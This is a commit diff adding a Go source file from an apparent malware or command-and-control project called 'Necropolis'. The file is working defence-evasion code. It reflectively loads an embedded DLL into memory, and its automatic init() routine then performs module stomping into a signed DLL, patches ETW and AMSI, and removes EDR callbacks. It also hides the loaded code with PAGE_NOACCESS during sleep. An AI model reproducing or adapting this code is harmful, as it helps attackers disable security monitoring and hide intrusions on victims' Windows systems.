Necropolis v1 release
This commit is contained in:
@@ -0,0 +1,397 @@
|
||||
//go:build evasion && windows
|
||||
|
||||
// 1. Load the embedded valak.dll binary data.
|
||||
// 2. If the data is empty, return false.
|
||||
// 3. Validate DOS and NT PE headers.
|
||||
// 5. Allocate the readWrite (RW) memory for the DLL. VirtualAlloc(0) = put it anywhere.
|
||||
// 6. Copy PE headers into allocated memory.
|
||||
// 7. Copy each section from raw bytes to its virtual address.
|
||||
// 8. Apply base relocations if the DLL didn't load at its preferred address.
|
||||
// 9. Resolve imports (fill IAT — kernel32, ntdll, etc).
|
||||
// 10. Find .text section bounds (needed by EvasionSleep).
|
||||
// 11. Set memory protections on each section (.text=RX, .data=RW).
|
||||
// 12. Resolve exports (find function addresses in the export table).
|
||||
// 13. Call DllMain(DLL_PROCESS_ATTACH) — Zig CRT startup.
|
||||
// 14. Call init_evasion() — scan ntdll for syscall gadgets.
|
||||
// 15. Set dllLoaded=true and return.
|
||||
// 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore.
|
||||
// 17. init() — spawns goroutine, calls DLL loader, runs stomp→ETW→AMSI→EDR in order.
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"log"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
valakBase uintptr
|
||||
dllTextStart uintptr
|
||||
dllTextSize uintptr
|
||||
dllLoaded bool
|
||||
procInit uintptr
|
||||
procPatchETW uintptr
|
||||
procPatchAMSI uintptr
|
||||
procRemoveEDRCallbacks uintptr
|
||||
procStompEvasion uintptr
|
||||
procIsRelocated uintptr
|
||||
)
|
||||
|
||||
const (
|
||||
imageDosSignature = 0x5A4D
|
||||
imageNTSignature = 0x00004550
|
||||
imageDirEntryExport = 0
|
||||
memCommit = 0x00001000
|
||||
memReserve = 0x00002000
|
||||
pageReadwrite = 0x04
|
||||
pageExecuteRead = 0x20
|
||||
pageExecReadwrite = 0x40
|
||||
dllProcessAttach = 1
|
||||
)
|
||||
|
||||
func loadValakDLLReflective() bool {
|
||||
data := valakDLLBin // 1
|
||||
if len(data) == 0 {
|
||||
return false // 2
|
||||
}
|
||||
|
||||
dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0])) // → start 3
|
||||
if dosHeader.E_magic != imageDosSignature {
|
||||
return false
|
||||
}
|
||||
|
||||
ntOffset := dosHeader.E_lfanew
|
||||
ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset]))
|
||||
if ntHeader.Signature != imageNTSignature {
|
||||
return false
|
||||
}
|
||||
|
||||
imageBase := ntHeader.OptionalHeader.ImageBase
|
||||
sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage)
|
||||
sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders) // ← end 4
|
||||
|
||||
// always allocate anywhere, always apply relocs. High x64 image bases
|
||||
// (0x180000000+) can fail silently on VMs and EDR-protected systems.
|
||||
base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite) // → start 5
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
valakBase = base // ← end 5
|
||||
|
||||
copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders]) // 6
|
||||
|
||||
sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader)
|
||||
sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections) // → start 7
|
||||
for i := range sections {
|
||||
sec := §ions[i]
|
||||
if sec.SizeOfRawData == 0 {
|
||||
continue
|
||||
}
|
||||
dst := base + uintptr(sec.VirtualAddress)
|
||||
if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage {
|
||||
continue
|
||||
}
|
||||
srcOff := uintptr(sec.PointerToRawData)
|
||||
if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) {
|
||||
continue
|
||||
}
|
||||
copy(unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData), unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData))
|
||||
} // ← end 7
|
||||
|
||||
delta := int64(base) - int64(imageBase) // → start 8
|
||||
if delta != 0 {
|
||||
applyRelocations(data, base, delta, ntHeader)
|
||||
} // ← end 8
|
||||
resolveImports(data, base, ntHeader) // 9
|
||||
for i := range sections { // → start 10
|
||||
if sections[i].Name[0] == '.' && sections[i].Name[1] == 't' && sections[i].Name[2] == 'e' && sections[i].Name[3] == 'x' && sections[i].Name[4] == 't' {
|
||||
dllTextStart = base + uintptr(sections[i].VirtualAddress)
|
||||
dllTextSize = uintptr(sections[i].VirtualSize)
|
||||
break
|
||||
}
|
||||
} // ← end 10
|
||||
for i := range sections { // → start 11
|
||||
sec := §ions[i]
|
||||
if sec.VirtualAddress == 0 {
|
||||
continue
|
||||
}
|
||||
addr := base + uintptr(sec.VirtualAddress)
|
||||
prot := sectionProtect(sec.Characteristics)
|
||||
var old uint32
|
||||
windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old)
|
||||
} // ← end 11
|
||||
resolveExports(data, base, ntHeader) // 12
|
||||
entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint)
|
||||
if entry != base { // → start 13
|
||||
syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0)
|
||||
} // ← end 13
|
||||
|
||||
if procInit != 0 { // → start 14
|
||||
syscall.SyscallN(procInit)
|
||||
} // ← end 14
|
||||
|
||||
log.Printf("[evasion] valak.dll reflectively loaded (%d bytes)", len(data))
|
||||
dllLoaded = true // 15
|
||||
return true
|
||||
}
|
||||
|
||||
type imageDOSHeader struct {
|
||||
E_magic uint16
|
||||
_ [58]byte
|
||||
E_lfanew uint32
|
||||
}
|
||||
|
||||
type imageFileHeader struct {
|
||||
_ [2]byte
|
||||
NumberOfSections uint16
|
||||
_ [12]byte
|
||||
SizeOfOptionalHeader uint16
|
||||
_ [2]byte
|
||||
}
|
||||
|
||||
type imageDataDirectory struct {
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
}
|
||||
|
||||
type imageOptionalHeader64 struct {
|
||||
_ [16]byte
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
_ [16]byte
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
_ [48]byte
|
||||
DataDirectory [16]imageDataDirectory
|
||||
}
|
||||
|
||||
type imageNTHeaders64 struct {
|
||||
Signature uint32
|
||||
FileHeader imageFileHeader
|
||||
OptionalHeader imageOptionalHeader64
|
||||
}
|
||||
|
||||
type imageSectionHeader struct {
|
||||
Name [8]byte
|
||||
VirtualSize uint32
|
||||
VirtualAddress uint32
|
||||
SizeOfRawData uint32
|
||||
PointerToRawData uint32
|
||||
PointerToRelocations uint32
|
||||
PointerToLinenumbers uint32
|
||||
NumberOfRelocations uint16
|
||||
NumberOfLinenumbers uint16
|
||||
Characteristics uint32
|
||||
}
|
||||
|
||||
type imageExportDirectory struct {
|
||||
_ [12]byte
|
||||
_ [4]byte
|
||||
_ [4]byte
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32
|
||||
AddressOfFunctions uint32
|
||||
AddressOfNames uint32
|
||||
AddressOfNameOrdinals uint32
|
||||
}
|
||||
|
||||
// Characteristics is at offset 36 in IMAGE_SECTION_HEADER.
|
||||
// IMAGE_SCN_MEM_EXECUTE=0x20000000, IMAGE_SCN_MEM_READ=0x40000000, IMAGE_SCN_MEM_WRITE=0x80000000
|
||||
func sectionProtect(chars uint32) uint32 {
|
||||
|
||||
switch {
|
||||
case chars&0x20000000 != 0 && chars&0x80000000 != 0:
|
||||
return pageExecReadwrite
|
||||
case chars&0x20000000 != 0:
|
||||
return pageExecuteRead
|
||||
case chars&0x80000000 != 0:
|
||||
return pageReadwrite
|
||||
default:
|
||||
return pageReadwrite
|
||||
}
|
||||
}
|
||||
|
||||
func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) {
|
||||
relocDir := ntHeader.OptionalHeader.DataDirectory[5] // IMAGE_DIRECTORY_ENTRY_BASERELOC
|
||||
if relocDir.VirtualAddress == 0 || relocDir.Size == 0 {
|
||||
return
|
||||
}
|
||||
relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size)
|
||||
off := uintptr(0)
|
||||
for off < uintptr(relocDir.Size) {
|
||||
blockVA := binary.LittleEndian.Uint32(relocData[off:])
|
||||
blockSize := binary.LittleEndian.Uint32(relocData[off+4:])
|
||||
if blockSize == 0 {
|
||||
break
|
||||
}
|
||||
entries := (blockSize - 8) / 2
|
||||
for e := uint32(0); e < entries; e++ {
|
||||
entryOff := off + 8 + uintptr(e*2)
|
||||
entry := binary.LittleEndian.Uint16(relocData[entryOff:])
|
||||
relocType := entry >> 12
|
||||
relocOff := entry & 0xFFF
|
||||
if relocType == 0 {
|
||||
continue
|
||||
}
|
||||
addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff))
|
||||
if relocType == 10 {
|
||||
val := (*uint64)(addr)
|
||||
*val = uint64(int64(*val) + delta)
|
||||
}
|
||||
}
|
||||
off += uintptr(blockSize)
|
||||
}
|
||||
}
|
||||
|
||||
func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
|
||||
exportDir := ntHeader.OptionalHeader.DataDirectory[imageDirEntryExport]
|
||||
if exportDir.VirtualAddress == 0 || exportDir.Size == 0 {
|
||||
return
|
||||
}
|
||||
exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress)))
|
||||
names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames)
|
||||
funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions)
|
||||
ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames)
|
||||
|
||||
lookup := func(name string) uintptr {
|
||||
for i := uint32(0); i < exp.NumberOfNames; i++ {
|
||||
fnName := goString(base + uintptr(names[i]))
|
||||
if fnName == name {
|
||||
if uint32(ords[i]) < exp.NumberOfFunctions {
|
||||
return base + uintptr(funcs[ords[i]])
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
procInit = lookup("init_evasion")
|
||||
procPatchETW = lookup("patch_etw")
|
||||
procPatchAMSI = lookup("patch_amsi")
|
||||
procRemoveEDRCallbacks = lookup("remove_edr_callbacks")
|
||||
procStompEvasion = lookup("stomp_evasion")
|
||||
procIsRelocated = lookup("is_relocated")
|
||||
}
|
||||
|
||||
type imageImportDescriptor struct {
|
||||
OriginalFirstThunk uint32
|
||||
_ uint32 // TimeDateStamp
|
||||
_ uint32 // ForwarderChain
|
||||
Name uint32
|
||||
FirstThunk uint32
|
||||
}
|
||||
|
||||
func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
|
||||
importDir := ntHeader.OptionalHeader.DataDirectory[1] // IMAGE_DIRECTORY_ENTRY_IMPORT
|
||||
if importDir.VirtualAddress == 0 || importDir.Size == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
modKernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procLoadLibrary := modKernel32.NewProc("LoadLibraryA")
|
||||
procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA")
|
||||
procGetProcAddress := modKernel32.NewProc("GetProcAddress")
|
||||
|
||||
desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress)))
|
||||
descSize := uintptr(unsafe.Sizeof(*desc))
|
||||
for desc.Name != 0 {
|
||||
dllName := goString(base + uintptr(desc.Name))
|
||||
|
||||
hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
|
||||
if hMod == 0 {
|
||||
hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
|
||||
}
|
||||
if hMod == 0 {
|
||||
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
|
||||
continue
|
||||
}
|
||||
|
||||
thunkRVA := desc.OriginalFirstThunk
|
||||
if thunkRVA == 0 {
|
||||
thunkRVA = desc.FirstThunk
|
||||
}
|
||||
|
||||
thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA)))
|
||||
iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk)))
|
||||
step := uintptr(8)
|
||||
|
||||
for *thunk != 0 {
|
||||
var fnAddr uintptr
|
||||
if *thunk&(1<<63) != 0 {
|
||||
ordinal := uintptr(*thunk & 0xFFFF)
|
||||
fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal)
|
||||
} else {
|
||||
nameRVA := uint32(*thunk & 0x7FFFFFFF)
|
||||
fnName := goString(base + uintptr(nameRVA) + 2)
|
||||
fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName))))
|
||||
}
|
||||
*iat = uint64(fnAddr)
|
||||
|
||||
thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step))
|
||||
iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step))
|
||||
}
|
||||
|
||||
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
|
||||
}
|
||||
}
|
||||
|
||||
func goString(addr uintptr) string {
|
||||
s := unsafe.String((*byte)(unsafe.Pointer(addr)), 256)
|
||||
for j := 0; j < len(s); j++ {
|
||||
if s[j] == 0 {
|
||||
return s[:j]
|
||||
}
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore.
|
||||
func EvasionSleep(d time.Duration) {
|
||||
if dllLoaded && dllTextStart != 0 {
|
||||
var old uint32
|
||||
windows.VirtualProtect(dllTextStart, dllTextSize, windows.PAGE_NOACCESS, &old) // make .text unreadable
|
||||
time.Sleep(d) // sleep from Go binary, not DLL
|
||||
windows.VirtualProtect(dllTextStart, dllTextSize, old, &old) // restore
|
||||
return
|
||||
}
|
||||
time.Sleep(d) // fallback: plain sleep, no obfuscation
|
||||
}
|
||||
|
||||
// 17. init() — called automatically by Go when package loads. Spawns goroutine that loads
|
||||
// the DLL and calls each evasion function in order: stomp → ETW → AMSI → EDR.
|
||||
func init() {
|
||||
go func() { // → start 17
|
||||
if loadValakDLLReflective() {
|
||||
if procStompEvasion != 0 { // stomp first — hides module in signed DLL
|
||||
syscall.SyscallN(procStompEvasion, valakBase)
|
||||
if procIsRelocated != 0 {
|
||||
r, _, _ := syscall.SyscallN(procIsRelocated)
|
||||
if r != 0 {
|
||||
log.Printf("[evasion] module stomped into signed DLL | base: 0x%x", valakBase)
|
||||
}
|
||||
}
|
||||
}
|
||||
if procPatchETW != 0 {
|
||||
syscall.SyscallN(procPatchETW)
|
||||
log.Printf("[evasion] ETW patched")
|
||||
}
|
||||
if procPatchAMSI != 0 {
|
||||
syscall.SyscallN(procPatchAMSI)
|
||||
log.Printf("[evasion] AMSI patched")
|
||||
}
|
||||
if procRemoveEDRCallbacks != 0 {
|
||||
syscall.SyscallN(procRemoveEDRCallbacks)
|
||||
log.Printf("[evasion] EDR callbacks removed")
|
||||
}
|
||||
}
|
||||
}() // ← end 17
|
||||
}
|
||||
|
||||
// no package-level lazy procs, all resolved locally in resolveImports
|
||||
Reference in New Issue
Block a user